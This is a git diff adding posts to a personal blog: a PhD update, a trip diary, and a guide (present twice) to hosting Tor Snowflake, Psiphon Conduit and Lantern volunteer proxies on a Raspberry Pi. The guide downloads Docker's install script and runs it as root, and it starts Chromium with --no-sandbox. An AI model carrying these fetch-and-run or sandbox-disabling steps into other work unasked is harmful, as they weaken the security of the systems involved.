+nFHvCVZqq2c2t7wTkMop7TdIxwZnl/sh6FaLYFLtmJpU+DyWles= +=ranU +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/PhD_journey/june_2026.md b/public-clearnet/sources/PhD_journey/june_2026.md new file mode 100644 index 0000000..9b79202 --- /dev/null +++ b/public-clearnet/sources/PhD_journey/june_2026.md @@ -0,0 +1,20 @@ ++++ +title = 'June 2026' +date = 2026-06-23T20:00:07Z +draft = false ++++ + +Ok, it's been so so so long! I haven't been writing, once again, because I've been too busy with fixing my life. +Let me summerize these past many months: + +- I finished my coursework for my prep phase +- I was added to a colleagues project and we submited it to IMC +- I submitted a poster to TMA, and I will be present it at the end of this month (June) +- I branched my main project, IP over anything, into application layer, added steganography to it, and made it ready to be submited to S&P, but due to some complications, we decided to skip this deadline and aim for USENIX at the end of Augsust. +- I am a tutor at data networks, and I think I'm doing a pretty good job :) at least I hope so! I realized how much I love teaching, and interacting and explaining things to students. + + + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/PhD_journey/june_2026.md.asc b/public-clearnet/sources/PhD_journey/june_2026.md.asc new file mode 100644 index 0000000..ecee475 --- /dev/null +++ b/public-clearnet/sources/PhD_journey/june_2026.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM +jSoC1Q//XZwEZ0kzJq6JgjAfq1YJSLYWHAgNE8lHsvw2JW+kwn4wPw3Zysg+a7ln +R13un1k4hCKw2k2x/2hyciMcl9V2faPbqkL2c2A6urZPVGFfhSxWc4y2OdXaXdle +m/P+jyj1Yl8QOWlWOhJ7nhKEkZfRkkgNp56bQL+IYa3T1xKdCkiiPEsXAGQKfKrw +BoR8CKJkqyabxseM6fdVFIzGSZ3Bo6PYyDHArExjQ97FgS6nEHdklwF3bRuO8gkP +eRLhedsKWd5LvLa347dusMOKbAHcQQQavQb2uyN/ZlcAz2y8MyfbdmnLNq0CjFMd +MGug0h1+d4omYSw7aXlpHMfOWCbiAs5BEgDvV9vd+p/PXbH765VzTnuzeMmIlRlm +eloSCjex5kxiUvQ3G14usmAbON799etujTIJh5Mj9ol9jXDyh0/k228GC4RNF5K5 +QEMPVoeGkte0CVM+C/PkK+QcGHxdasuZQEVTbCuN2qS6WxiFIpglsmagcoblO2+t +zvDnk6ySTPrtiGlVqAZye1Pjhs7Xy3dq8VT+H2TUhZplgRpDXPlayUzPkZGvEcUr +Mg03w3/uXCP8Q0ibQllSQioluUJ7l+oLaRZTly1tpZCCbWha11upK8ZKc03jMApM +fQy/wpq+VFKZsB4clVAQoabPr+Q+JWAe0OOWcdrpp8FXlKfIkPc= +=hIg9 +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/2025_highlight.md b/public-clearnet/sources/posts/2025_highlight.md new file mode 100644 index 0000000..6160ab8 --- /dev/null +++ b/public-clearnet/sources/posts/2025_highlight.md @@ -0,0 +1,17 @@ ++++ +title = '2025 Highlight' +date = 2026-01-05T18:53:54Z +draft = false ++++ + +I just experienced my best two weeks of this cursed year. I went to 39c3 first, did 31.25h of Engel work, got to meet a bunch of extremely cool people, met the people I had made friends with from last year, and made new friends. No new contacts though. :) +Not only I got to see a lot of cool people, computers, projects, but also I attended many many cool talks and learned a lot. I also participated in a challenge that after solving I got a T-Shirt for. I also got myself a T-Shirt for my Engel work. + +After this very magical event, I got myself an Interrail 4-day pass and visited one of my two besties in Vienna. He had two sweet roomies, who were cool and hospitable. It truely felt like I was back home. We went out a few times, visited Vienna, went to an all-you-can-eat Sushi, played Poker, watched few movies together, baked a pizza with homemade sause and dough. I also managed to visit ISTA and got to test my flipper zero by cloning my friend's NFC tag. It was an amaing trip that I will not forget. I think I got much closer to my bestie. We've been friends, but not that close at least in his eye. Though in mine he was my best friend before getting to meet my other best friend. ;P And yes, I do have two best friends. One lives in Vienna, and the other in Moen, Norway. They are just amazing people. We also did some cafe-hopping. Idk what about the trip was, but I enjoyed it so so incredibly much. I hope I see my friend more, and get to hangout with him more. There is a difference between those who are your real friends, and those who act like it for a bit. I think I'm getting better at knowing who my friends are, and who are there for the heck of it. Oh, and we also plated lots and lots of PS5, Fifa2026, Brawlhalla, etc.. + +Bonus: Remember I said we went to a Sushi place? I've been nagging people about going to a bar and practice flirting, they kinda say yes, but never do it. We saw an extremely beautiful girl in the Sushi place, and my friend told me if I'm so serious, I should go tell her. And you know what, I did. I approached her, told her and her friend that "we were eating across the hall, and I noticed how pretty she is!". They both smiled and thanked me, they truely glewed up!!! It was soooooooo sweeeeeeeeeet. I then wished them a nice evening and left. I didn't want to make it awkward by asking for a number, etc.. It was a beautiful memory, and I wanted it to stay beautiful. So hell yea. I noticed that my aura increased by a lot at least between me and the people we went to that place with. :D Yeeeehaaaaa. + + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/posts/2025_highlight.md.asc b/public-clearnet/sources/posts/2025_highlight.md.asc new file mode 100644 index 0000000..c489c3d --- /dev/null +++ b/public-clearnet/sources/posts/2025_highlight.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM +jSqqgw//YtZhSWMZxoRDP7DCvFwPU5XFvNzAbfRV7vbCjA0YTosI2zHVQpu0Os11 +vHLyI6P0331AlPtEjcZG0ZLLreCDSOZjh9sZHgdoCMUyG5brdS2fIsMlFmPT5bj8 +Ns61MOe4BYsKJF6/Uzt1aT8Pf21M2a5qgJ8GZ4hKh+dxU4LtSIp6CaGNHH6mrhq5 +LjY8rbQtJE2KzsuGevf4NNSQAhZGwxUlwfUsdreRFTWSVDpv7Tjwa/4Go+hE/0n0 +HWcmIsQgBMiu+XEN5R8jCmW+IZ4uN0FMW6Y+IlfLKNmhhTCj/e+2kO3mxP5TPltf +2B72vMhhca6xTW3yGIUh0C/QQz7CqCxB0KMsAQrO2ebwEZCkPspahxqoXL9E1QNy +JIafzVNz9tIDe1SfnP9NnxQ+gNu8WIyPA96nUNDyhQyE3mgP6m68LKePrRHaJ1Zu +5xpuA8nesJsD9oM+ryzcFgHzbPmu9Syub9xczWHYNParjS/34FzGZ7/kT6kKZCE2 +cxIGSe7G53FL4ONXL/mQf7C2z5JwcRz0PJ2vstNEv/7oYF11jpvt0OsR9QjbxdF1 +Msj9Hqs9rr9ylBYWztWmXws7SYuoZRdoC4M6lGucLsbcK+FjAvby+KYBObc/mbB4 +ANszhS/yDDQIQwXJcmpKVpRWqE/eLTJGKndCinUsUnTnJ30mtr0= +=T3Em +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/backout.md b/public-clearnet/sources/posts/backout.md new file mode 100644 index 0000000..2b2e376 --- /dev/null +++ b/public-clearnet/sources/posts/backout.md @@ -0,0 +1,341 @@ ++++ +title = 'Backout' +date = 2026-01-26T07:21:51Z +description = "I tried to be more useful, but when I couldn't, I found another way." +draft = false ++++ + +Ever since the latest Internet/communication blackout in Iran, I've been trying to get access to my box inside of the network. I went so far as to beg people to ssh into my box and deploy something that would give me a backdoor to my box, but little to no luck came out of it. Although Arvancloud opened their panel briefly, giving me access to do some digging, I got stuck at putting some sort of binary client on my box from their online panel. I tried to b64 the binary file and copy‑paste it via clipboard, and this caused their panel to crash (or it was just bad timing) — they haven't opened it again. + +After getting more and more frustrated, I decided to put my hardware to good use, and host residential-ish volunteer proxies for people wanting to reach the free internet. I chose to host my beloved Snowflake, Conduit (since it became a hot topic), and Lantern. Here’s how you can do the same if you decide to do so. + +One important vibe check before we start: I’m not giving anyone a custom “backdoor” into *your* network, and you shouldn’t either. The whole point of the tools below is that they’re designed to work as **volunteer nodes** inside larger networks (Tor / Psiphon / Lantern), not as random open proxies you expose yourself. + +# Running Anti‑Censorship Infrastructure at Home (Raspberry Pi, server, whatever) + +I didn’t set out to become a tiny piece of global internet infrastructure. I just had a couple of Raspberry Pis, a decent internet connection, and the uncomfortable feeling that access to information shouldn’t depend on where you were born. + +So I turned my Pis into helpers. + +This post is about running **three different anti‑censorship tools** on Raspberry Pi hardware, quietly and continuously, without exposing scary open ports or babysitting terminals: + +- **Psiphon Conduit** – to help Psiphon users automatically +- **Tor Snowflake (standalone proxy)** – to help Tor users automatically +- **Lantern Unbounded** – a browser‑based volunteer bridge, daemonized so it runs forever + +Everything runs headless (or *headless‑ish*), survives reboots, and doesn’t require me to log in every week just to check if it’s still alive. + +--- + +## The philosophy: don’t be a public server, be a volunteer node + +A theme you’ll see throughout this setup is intentional modesty. I’m not running an open proxy. I’m not advertising an IP address. I’m not routing half the internet through my house. + +Instead, I’m running software that’s designed to safely integrate into bigger systems that already handle discovery, encryption, throttling, abuse prevention, and client UX. + +That’s the difference between helping — and waking up to your ISP asking why your home IP suddenly became “a whole thing”. + +--- + +## What you need (one time) + +This guide assumes Ubuntu on ARM (Pi). It works on a normal server too. + +First, install Docker (because containers are a gift): + +```bash +sudo apt update +sudo apt install -y curl +curl -fsSL https://get.docker.com -o get-docker.sh +sudo sh get-docker.sh +sudo usermod -aG docker $USER +newgrp docker +``` + +Now make yourself a clean playground under `/srv`: + +```bash +sudo mkdir -p /srv/{conduit,snowflake,lantern} +sudo chown -R $USER:$USER /srv/{conduit,snowflake,lantern} +``` + +I like `/srv` because it signals “service data lives here” and I’m less likely to delete it while cleaning my home directory at 3am. + +--- + +## Conduit: quietly helping Psiphon users (Docker) + +Conduit is Psiphon’s volunteer “station” software. Once it’s running, Psiphon’s own network decides when and how clients use it. There’s nothing to configure, nothing to advertise, and no port forwarding required. + +The important part is persistence. Conduit generates an identity key the first time it runs (`conduit_key.json`), and that identity builds reputation over time. If you lose it, you start from zero again. + +### The file: `/srv/conduit/docker-compose.yml` + +Create it: + +```bash +cd /srv/conduit +vim docker-compose.yml +``` + +Paste this: + +```yaml +services: + conduit: + image: ghcr.io/ssmirr/conduit/conduit:latest + container_name: conduit + restart: unless-stopped + + # Keep keys and state across restarts + volumes: + - ./data:/app/data + + # Optional: if you want a different bandwidth limit / max clients, + # you can pass CLI flags here (these are examples). + # command: ["conduit", "start", "-b", "4", "-c", "8"] +``` + +Then bring it up: + +```bash +docker compose up -d +docker logs -f conduit +``` + +When it’s working, you’ll see things like: + +- `[OK] Connected to Psiphon network` +- periodic `[STATS]` lines with Connecting/Connected counters (that’s your “is anyone using this?” moment) + +If you ever want to stop it: + +```bash +docker stop conduit +``` + +Or “disable but keep everything” (recommended): + +```bash +docker compose down +``` + +Or “delete it from orbit” (not recommended unless you enjoy rebuilding): + +```bash +docker rm -f conduit +``` + +--- + +## Snowflake: Tor, but even quieter (Docker Compose) + +Snowflake serves Tor users. It’s explicitly designed to work behind NAT and CGNAT, which makes it perfect for home connections. The Tor Project provides an official Docker Compose file that includes **watchtower** for automatic updates. + +### The file: `/srv/snowflake/docker-compose.yml` + +You can download the official file exactly like this: + +```bash +cd /srv/snowflake +wget -O docker-compose.yml \ + "https://gitlab.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake/-/raw/main/docker-compose.yml?ref_type=heads" +``` + +If you’d rather create it yourself (it’s tiny), here’s the same thing in readable YAML: + +```yaml +services: + snowflake-proxy: + network_mode: host + image: containers.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake:latest + container_name: snowflake-proxy + restart: unless-stopped + + # For a full list of Snowflake proxy args, see the upstream docs. + # Example if you ever need it: + # command: ["-ephemeral-ports-range", "30000:60000"] + + watchtower: + image: containrrr/watchtower + container_name: watchtower + restart: unless-stopped + volumes: + - /var/run/docker.sock:/var/run/docker.sock + command: snowflake-proxy +``` + +Start it (with auto updates): + +```bash +docker compose up -d +docker logs -f snowflake-proxy +``` + +If you see: + +```text +Proxy starting +NAT type: restricted +``` + +…that’s totally fine. “Restricted” is normal for home NAT. If it’s running, you’re helping. + +If you get the “container name already in use” error, it just means you already have a `snowflake-proxy` container from a previous attempt. Fix it with: + +```bash +docker rm -f snowflake-proxy +docker compose up -d +``` + +--- + +## Lantern Unbounded: a browser that helps people (systemd + Xvfb) + +Lantern Unbounded is different: it runs in a browser (WASM + WebRTC), which makes volunteering frictionless… but also makes servers go “uhh… where is your display?”. + +So we cheat — politely. + +We run Chromium inside a virtual display (Xvfb) and supervise it with systemd. No monitor needed. No desktop clicking. It just… exists… and helps. + +### Install what we need + +```bash +sudo apt update +sudo apt install -y xvfb +sudo apt install -y chromium-browser || sudo apt install -y chromium +``` + +### Fix the X11 socket dir permissions (the annoying but essential part) + +If you don’t do this, Xvfb may throw: + +`_XSERVTransmkdir: ERROR: euid != 0, directory /tmp/.X11-unix will not be created.` + +Fix it once: + +```bash +sudo chmod 1777 /tmp +sudo mkdir -p /tmp/.X11-unix +sudo chown root:root /tmp/.X11-unix +sudo chmod 1777 /tmp/.X11-unix +``` + +### The file: `/etc/systemd/system/unbounded.service` + +Pick your username. On my boxes, it’s either `hub` or `rpi`. Use your actual user. + +Create the service: + +```bash +sudo vim /etc/systemd/system/unbounded.service +``` + +Paste this, and **replace `YOUR_USER`** with your username (e.g. `hub` or `rpi`): + +```ini +[Unit] +Description=Lantern Unbounded (Xvfb + Chromium) +After=network-online.target +Wants=network-online.target + +[Service] +User=YOUR_USER +Environment=DISPLAY=:99 +Environment=XDG_RUNTIME_DIR=/run/user/%U + +ExecStart=/usr/bin/bash -lc '\ + /usr/bin/Xvfb :99 -screen 0 1280x720x24 -nolisten tcp -ac & \ + sleep 1; \ + $(command -v chromium || command -v chromium-browser) \ + --no-first-run \ + --disable-breakpad \ + --disable-features=TranslateUI \ + --autoplay-policy=no-user-gesture-required \ + --use-fake-ui-for-media-stream \ + --disable-gpu \ + --no-sandbox \ + --app=https://unbounded.lantern.io/ \ + --kiosk \ + --window-size=1280,720 \ + --user-data-dir=/home/YOUR_USER/.config/unbounded-chromium \ + --disk-cache-dir=/home/YOUR_USER/.cache/unbounded-chromium \ +' + +Restart=always +RestartSec=5 +KillMode=mixed + +[Install] +WantedBy=multi-user.target +``` + +Enable and start: + +```bash +sudo systemctl daemon-reload +sudo systemctl enable --now unbounded.service +systemctl status unbounded.service --no-pager +``` + +If you see `Active: active (running)`, you’ve won. + +### “It runs headless-ish, but how do I know it’s alive?” + +The simplest “is it on?” checks: + +```bash +systemctl status unbounded.service --no-pager +journalctl -u unbounded.service -f +``` + +And the “is it actually doing network things?” check: + +```bash +sudo ss -tunap | egrep 'chrome|chromium|:443|:3478' || true +``` + +If you ever want to stop it: + +```bash +sudo systemctl stop unbounded.service +``` + +If you want it not to start on boot: + +```bash +sudo systemctl disable unbounded.service +``` + +--- + +## A note on safety, legality, and expectations + +None of this makes you anonymous or magically protected from local laws. You’re contributing bandwidth and connectivity to systems designed to reduce risk — but you should still understand your own environment, and you should still be comfortable with what you’re running. + +The good news is that all of these tools are designed so you’re not manually granting access to random people. You’re volunteering into networks that already do the hard parts. + +That’s the part I like. + +--- + +## The quiet satisfaction of it all + +There’s something deeply satisfying about knowing that a small box on a shelf is occasionally helping someone read, learn, or communicate when they otherwise couldn’t. + +No dashboard. No vanity metrics. Just the occasional log line, quietly scrolling by. + +And honestly? That’s enough. + +--- + +## Some rants + +I was unable to hear from my parents in the first two weeks of the blackout. In fact, the first time I heard their voices was a few days ago. Ever since then we've been able to hear each other over calls — not fancy digital ones, the shitty GSM stuff. I saw my mom's face for a few seconds on the first day she managed to connect to Psiphon, but after that no luck. :( + +This is super sad and frustrating. I've not really been writing anything due to this. When I came back from my congress + Vienna trip, I've been dealing with this situation. It's just annoying. Let's cross our fingers for one of my fantasy mind‑created things come true. Things are so incredibly much better in my mind. I want to live in my mind and never come out. Uh... :( + +--- + +{{< sigdl >}} + diff --git a/public-clearnet/sources/posts/backout.md.asc b/public-clearnet/sources/posts/backout.md.asc new file mode 100644 index 0000000..28fdb94 --- /dev/null +++ b/public-clearnet/sources/posts/backout.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM +jSrR9Q/+LRsLjKWExUfiGl6tJ6N9hircIhvYJkjA/Bn9IcXkkWlPgwWx6r8uWxvV +09c5AOvZFpnh2lZg2u/aCWL6jQpHE5A2XNp4CXaOYpFXgrIgeuHnWSHKm9LpQ9YO +7SNYc7QespDh2u8HM5Z2bzSIiH/42Y6dNBg4Doif8rd7ZGs7m9w67KUVFzK7mYoN +6FVOFaFnb0KWhG0kKuqi9yKyjiqC503HDO8mx0ZMU/6yTprH4OEyzC1u+U4rwIUx +HozKywr26SMVyuPRsHdRF5Pwl1S/UZo1JTpUwnJG634tR4XraDQFvAuzX8NGN86W +f4NfKJxukjGLsm7NYXh/uWqt21uMpCODaX2BPZtmJY7hS8eOF+rHxwo3q/58ot// +cejN07L5knLYAjKUBIoTAZIhoVsZSp/iTHTRllh8q7qf8ZUM6vsBvkfR8oDzvjZx +ZzGIRujPOrFlB26WTbSQcX4z/NjRdlPqLJ/bQchQSFP8kOs6XvavbloiZXi79XK1 +ACnqvEVUzH9L8KyfDf9GO6xUZInpazTdn7mqELGpLJ7KPX47zFr8NK11tp3M1Ln7 +nduXo/aqgecUFigixde58W5DXGZMBvDU3yfCyMGoD/q5N5kDrQvFe9KK+Yuw8xd3 +5JUVvtYmX2q58gsvpwVrFlnDpXyfOXVNn1ETQZU34ZhFZ2OsEPQ= +=RIxO +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/blackout.md b/public-clearnet/sources/posts/blackout.md new file mode 100644 index 0000000..d5c0a16 --- /dev/null +++ b/public-clearnet/sources/posts/blackout.md @@ -0,0 +1,341 @@ ++++ +title = 'Blackout' +date = 2026-01-26T07:21:51Z +description = "I tried to be more useful, but when I couldn't, I found another way." +draft = false ++++ + +Ever since the latest Internet/communication blackout in Iran, I've been trying to get access to my box inside of the network. I went so far as to beg people to ssh into my box and deploy something that would give me a backdoor to my box, but little to no luck came out of it. Although Arvancloud opened their panel briefly, giving me access to do some digging, I got stuck at putting some sort of binary client on my box from their online panel. I tried to b64 the binary file and copy‑paste it via clipboard, and this caused their panel to crash (or it was just bad timing) — they haven't opened it again. + +After getting more and more frustrated, I decided to put my hardware to good use, and host residential-ish volunteer proxies for people wanting to reach the free internet. I chose to host my beloved Snowflake, Conduit (since it became a hot topic), and Lantern. Here’s how you can do the same if you decide to do so. + +One important vibe check before we start: I’m not giving anyone a custom “backdoor” into *your* network, and you shouldn’t either. The whole point of the tools below is that they’re designed to work as **volunteer nodes** inside larger networks (Tor / Psiphon / Lantern), not as random open proxies you expose yourself. + +# Running Anti‑Censorship Infrastructure at Home (Raspberry Pi, server, whatever) + +I didn’t set out to become a tiny piece of global internet infrastructure. I just had a couple of Raspberry Pis, a decent internet connection, and the uncomfortable feeling that access to information shouldn’t depend on where you were born. + +So I turned my Pis into helpers. + +This post is about running **three different anti‑censorship tools** on Raspberry Pi hardware, quietly and continuously, without exposing scary open ports or babysitting terminals: + +- **Psiphon Conduit** – to help Psiphon users automatically +- **Tor Snowflake (standalone proxy)** – to help Tor users automatically +- **Lantern Unbounded** – a browser‑based volunteer bridge, daemonized so it runs forever + +Everything runs headless (or *headless‑ish*), survives reboots, and doesn’t require me to log in every week just to check if it’s still alive. + +--- + +## The philosophy: don’t be a public server, be a volunteer node + +A theme you’ll see throughout this setup is intentional modesty. I’m not running an open proxy. I’m not advertising an IP address. I’m not routing half the internet through my house. + +Instead, I’m running software that’s designed to safely integrate into bigger systems that already handle discovery, encryption, throttling, abuse prevention, and client UX. + +That’s the difference between helping — and waking up to your ISP asking why your home IP suddenly became “a whole thing”. + +--- + +## What you need (one time) + +This guide assumes Ubuntu on ARM (Pi). It works on a normal server too. + +First, install Docker (because containers are a gift): + +```bash +sudo apt update +sudo apt install -y curl +curl -fsSL https://get.docker.com -o get-docker.sh +sudo sh get-docker.sh +sudo usermod -aG docker $USER +newgrp docker +``` + +Now make yourself a clean playground under `/srv`: + +```bash +sudo mkdir -p /srv/{conduit,snowflake,lantern} +sudo chown -R $USER:$USER /srv/{conduit,snowflake,lantern} +``` + +I like `/srv` because it signals “service data lives here” and I’m less likely to delete it while cleaning my home directory at 3am. + +--- + +## Conduit: quietly helping Psiphon users (Docker) + +Conduit is Psiphon’s volunteer “station” software. Once it’s running, Psiphon’s own network decides when and how clients use it. There’s nothing to configure, nothing to advertise, and no port forwarding required. + +The important part is persistence. Conduit generates an identity key the first time it runs (`conduit_key.json`), and that identity builds reputation over time. If you lose it, you start from zero again. + +### The file: `/srv/conduit/docker-compose.yml` + +Create it: + +```bash +cd /srv/conduit +vim docker-compose.yml +``` + +Paste this: + +```yaml +services: + conduit: + image: ghcr.io/ssmirr/conduit/conduit:latest + container_name: conduit + restart: unless-stopped + + # Keep keys and state across restarts + volumes: + - ./data:/app/data + + # Optional: if you want a different bandwidth limit / max clients, + # you can pass CLI flags here (these are examples). + # command: ["conduit", "start", "-b", "4", "-c", "8"] +``` + +Then bring it up: + +```bash +docker compose up -d +docker logs -f conduit +``` + +When it’s working, you’ll see things like: + +- `[OK] Connected to Psiphon network` +- periodic `[STATS]` lines with Connecting/Connected counters (that’s your “is anyone using this?” moment) + +If you ever want to stop it: + +```bash +docker stop conduit +``` + +Or “disable but keep everything” (recommended): + +```bash +docker compose down +``` + +Or “delete it from orbit” (not recommended unless you enjoy rebuilding): + +```bash +docker rm -f conduit +``` + +--- + +## Snowflake: Tor, but even quieter (Docker Compose) + +Snowflake serves Tor users. It’s explicitly designed to work behind NAT and CGNAT, which makes it perfect for home connections. The Tor Project provides an official Docker Compose file that includes **watchtower** for automatic updates. + +### The file: `/srv/snowflake/docker-compose.yml` + +You can download the official file exactly like this: + +```bash +cd /srv/snowflake +wget -O docker-compose.yml \ + "https://gitlab.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake/-/raw/main/docker-compose.yml?ref_type=heads" +``` + +If you’d rather create it yourself (it’s tiny), here’s the same thing in readable YAML: + +```yaml +services: + snowflake-proxy: + network_mode: host + image: containers.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake:latest + container_name: snowflake-proxy + restart: unless-stopped + + # For a full list of Snowflake proxy args, see the upstream docs. + # Example if you ever need it: + # command: ["-ephemeral-ports-range", "30000:60000"] + + watchtower: + image: containrrr/watchtower + container_name: watchtower + restart: unless-stopped + volumes: + - /var/run/docker.sock:/var/run/docker.sock + command: snowflake-proxy +``` + +Start it (with auto updates): + +```bash +docker compose up -d +docker logs -f snowflake-proxy +``` + +If you see: + +```text +Proxy starting +NAT type: restricted +``` + +…that’s totally fine. “Restricted” is normal for home NAT. If it’s running, you’re helping. + +If you get the “container name already in use” error, it just means you already have a `snowflake-proxy` container from a previous attempt. Fix it with: + +```bash +docker rm -f snowflake-proxy +docker compose up -d +``` + +--- + +## Lantern Unbounded: a browser that helps people (systemd + Xvfb) + +Lantern Unbounded is different: it runs in a browser (WASM + WebRTC), which makes volunteering frictionless… but also makes servers go “uhh… where is your display?”. + +So we cheat — politely. + +We run Chromium inside a virtual display (Xvfb) and supervise it with systemd. No monitor needed. No desktop clicking. It just… exists… and helps. + +### Install what we need + +```bash +sudo apt update +sudo apt install -y xvfb +sudo apt install -y chromium-browser || sudo apt install -y chromium +``` + +### Fix the X11 socket dir permissions (the annoying but essential part) + +If you don’t do this, Xvfb may throw: + +`_XSERVTransmkdir: ERROR: euid != 0, directory /tmp/.X11-unix will not be created.` + +Fix it once: + +```bash +sudo chmod 1777 /tmp +sudo mkdir -p /tmp/.X11-unix +sudo chown root:root /tmp/.X11-unix +sudo chmod 1777 /tmp/.X11-unix +``` + +### The file: `/etc/systemd/system/unbounded.service` + +Pick your username. On my boxes, it’s either `hub` or `rpi`. Use your actual user. + +Create the service: + +```bash +sudo vim /etc/systemd/system/unbounded.service +``` + +Paste this, and **replace `YOUR_USER`** with your username (e.g. `hub` or `rpi`): + +```ini +[Unit] +Description=Lantern Unbounded (Xvfb + Chromium) +After=network-online.target +Wants=network-online.target + +[Service] +User=YOUR_USER +Environment=DISPLAY=:99 +Environment=XDG_RUNTIME_DIR=/run/user/%U + +ExecStart=/usr/bin/bash -lc '\ + /usr/bin/Xvfb :99 -screen 0 1280x720x24 -nolisten tcp -ac & \ + sleep 1; \ + $(command -v chromium || command -v chromium-browser) \ + --no-first-run \ + --disable-breakpad \ + --disable-features=TranslateUI \ + --autoplay-policy=no-user-gesture-required \ + --use-fake-ui-for-media-stream \ + --disable-gpu \ + --no-sandbox \ + --app=https://unbounded.lantern.io/ \ + --kiosk \ + --window-size=1280,720 \ + --user-data-dir=/home/YOUR_USER/.config/unbounded-chromium \ + --disk-cache-dir=/home/YOUR_USER/.cache/unbounded-chromium \ +' + +Restart=always +RestartSec=5 +KillMode=mixed + +[Install] +WantedBy=multi-user.target +``` + +Enable and start: + +```bash +sudo systemctl daemon-reload +sudo systemctl enable --now unbounded.service +systemctl status unbounded.service --no-pager +``` + +If you see `Active: active (running)`, you’ve won. + +### “It runs headless-ish, but how do I know it’s alive?” + +The simplest “is it on?” checks: + +```bash +systemctl status unbounded.service --no-pager +journalctl -u unbounded.service -f +``` + +And the “is it actually doing network things?” check: + +```bash +sudo ss -tunap | egrep 'chrome|chromium|:443|:3478' || true +``` + +If you ever want to stop it: + +```bash +sudo systemctl stop unbounded.service +``` + +If you want it not to start on boot: + +```bash +sudo systemctl disable unbounded.service +``` + +--- + +## A note on safety, legality, and expectations + +None of this makes you anonymous or magically protected from local laws. You’re contributing bandwidth and connectivity to systems designed to reduce risk — but you should still understand your own environment, and you should still be comfortable with what you’re running. + +The good news is that all of these tools are designed so you’re not manually granting access to random people. You’re volunteering into networks that already do the hard parts. + +That’s the part I like. + +--- + +## The quiet satisfaction of it all + +There’s something deeply satisfying about knowing that a small box on a shelf is occasionally helping someone read, learn, or communicate when they otherwise couldn’t. + +No dashboard. No vanity metrics. Just the occasional log line, quietly scrolling by. + +And honestly? That’s enough. + +--- + +## Some rants + +I was unable to hear from my parents in the first two weeks of the blackout. In fact, the first time I heard their voices was a few days ago. Ever since then we've been able to hear each other over calls — not fancy digital ones, the shitty GSM stuff. I saw my mom's face for a few seconds on the first day she managed to connect to Psiphon, but after that no luck. :( + +This is super sad and frustrating. I've not really been writing anything due to this. When I came back from my congress + Vienna trip, I've been dealing with this situation. It's just annoying. Let's cross our fingers for one of my fantasy mind‑created things come true. Things are so incredibly much better in my mind. I want to live in my mind and never come out. Uh... :( + +--- + +{{< sigdl >}} + diff --git a/public-clearnet/sources/posts/blackout.md.asc b/public-clearnet/sources/posts/blackout.md.asc new file mode 100644 index 0000000..d511614 --- /dev/null +++ b/public-clearnet/sources/posts/blackout.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM +jSoETRAAm6hrWmkHuZeV8JvwSruIuOLkb5LjziFswHUJ8eHrkS+WczSN1mgw5rrx +A7pKwjInH+uf/gs3u84Fx9rrgwPTfLQN+++iuDYobWddwFWvXyCpJ/nBene2i8Dr +EwLxgEHAAUEDVmhQLv0TkRdFwhc4Rsds5ajDZHgWzj1GPw6SLpH4QCe02fvBm4Xu +5E+QArl1w47DLJMktoxCT/8tTRtEdls8hwu5WHRJmq3PLJmC9ScSrUmN3S9k3Nrj +Ue5mkkZB25fCojBfRkfska9iYsASi2WxuKLsoiqbRqvi2KdgZ7OIGZM5HRUf9WNH +XEBD36MCgXA3YEjZPhBrVbOXsqosa5MLiV7XD684K6YsKf37hxqZC7p+XhtcHxwh +Pg6AkODzJuZJV2h75UhqHiLSB9xhpX1mtV8IaToyiGRjnLuDthEDsFe7JjejF2cx +EXK9Jop7SSqAbB95WsLiWZtvaBgmcyv7XLoe9v5xAm0HyQ97Jn84hnXB1d8QQon7 +YYCMNgyLDMo7TlI4HPmgVQYU7/P4xbo6cBdOicif8N+kj0Pf6uFQZ8TB+/Grqsgo +xqyrVpCTo/FjabJc8ybN36GwuZVMXpkl3etf2Tmls4A4jDP6CsB5F9vcRnVHyeic +pihbZa4Gb9GZTdFmFAHuXVHyVU9APRAq9MMmrUJB9oJgvCOM+Cw= +=t4W3 +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/boredom.md b/public-clearnet/sources/posts/boredom.md new file mode 100644 index 0000000..8074749 --- /dev/null +++ b/public-clearnet/sources/posts/boredom.md @@ -0,0 +1,167 @@ +--- +title: "Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4" +date: 2025-12-21T09:30:00+01:00 +draft: false +description: "A cozy, slightly chaotic, very fun setup story: turning a Raspberry Pi 4 into a private movie-night server with Jellyfin, Docker, and Tailscale—starting on microSD and graduating to SSD later." +tags: ["raspberrypi", "jellyfin", "tailscale", "docker", "homelab", "movienight"] +showToc: true +TocOpen: true +--- + +Ok. Let me tell you the why first. So.... I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn't hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It's funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself "let't message one of my two best friends", We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours. + +I wanted the kind of movie night where everyone presses play at the same moment, laughs at the same joke, and groans at the same plot twist—even when we’re scattered across different apartments and time zones. I also wanted it to be a little nerdy, a little elegant, and the kind of project that makes you feel like you own your gadgets again. Enter: a Raspberry Pi 4 